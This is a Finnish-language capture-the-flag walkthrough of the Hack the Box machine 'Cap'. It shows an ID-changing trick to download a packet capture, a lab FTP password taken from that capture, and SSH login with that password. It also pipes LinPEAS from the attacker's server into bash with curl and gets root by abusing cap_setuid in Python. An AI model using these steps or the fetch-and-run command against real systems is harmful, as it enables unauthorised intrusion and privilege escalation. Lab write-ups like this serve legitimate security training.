Hack the Box: Cap

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta cap.htb

User flag

Kohteen Nmap-skannauksesta huomataan, että kohteessa on avoinna portit 21 (FTP), 22 (SSH) ja 80 (HTTP).

Menty selaimella osoitteeseen cap.htb. Aukesi hallintasivu, jossa ollaan kirjautuneena sisään käyttäjänä Nathan

Välilehdellä Security Snapshot (5 Second PCAP + Analysis) on mahdollisuus ladata tiedosto Download-painikkeesta. Sivuston osoite on: http://cap.htb/data/1

Latautui pakettien sieppaustiedosto 1.pcap. Avattu tiedosto Wiresharkilla. Tiedostosta ei löytynyt mitään mielenkiintoista, vain liikennettä omasta tun0 IP-osoitteesta kohteeseen.

Koska edellisin sivun osoite, josta tiedosto 1.pcap ladattiin oli: http://cap.htb/data/1, kirjoitettu osoiteriville osoite: http://cap.htb/data/0. Huomataan, että nyt on mahdollisuus ladata isompi määrä paketteja. Ladattu tiedosto on nimeltä: 0.pcap

Aukaistu tiedosto 0.pcap Wiresharkilla. Tiedostosta huomataan FTP-liikennettä, jossa käyttäjä nathan kirjautuu salasanalla Buck3tH4TF0RM3!

Otettu SSH-yhteys kohteeseen käyttäjänä nathan komennolla: ssh nathan@cap.htb ja onnistuneesti kirjauduttu sisään siepatulla salasanalla: Buck3tH4TF0RM3!

User flag löytyi hakemistosta /home/nathan

Root flag

Käytetään avuksi skriptiä LinPEAS, jolla voidaan selvittää mahdollisia polkuja saada käyttöön root-oikeudet Linux/Unix/MacOS -kohteissa. Lisätietoa: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Ladattu tiedosto linpeas.sh hyökkäyskoneelle komennolla:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

Käynnistetty Python HTTP-palvelin porttiin 8080 kansiossa, jossa linpeas.sh -tiedosto sijaitsee. Komento: sudo python3 -m http.server 8080

Kohteessa ladattu tiedosto linpeas.sh hyökkäyskoneesta ja suoritettu komennolla: curl 10.10.14.12:8080/linpeas.sh | bash

LinPEAS löysi hakemistossa /usr/bin/python3.8 käytössä olevat cap_setuid ja cap_net_bind_service, jotka oletuksena eivät ole käytössä. CAP_SETUID avulla on mahdollista saada käyttöön setuid-oikeudet ilman, että SUID on asetettu. Tämä mahdollistaa asettaa UID 0 (root).

Pythonilla suoritettu skripti:
import os
os.setuid(0)
os.system(“/bin/bash”)

Onnistuneesti saatu shell root-käyttäjänä.

Root flag löytyi hakemistosta /root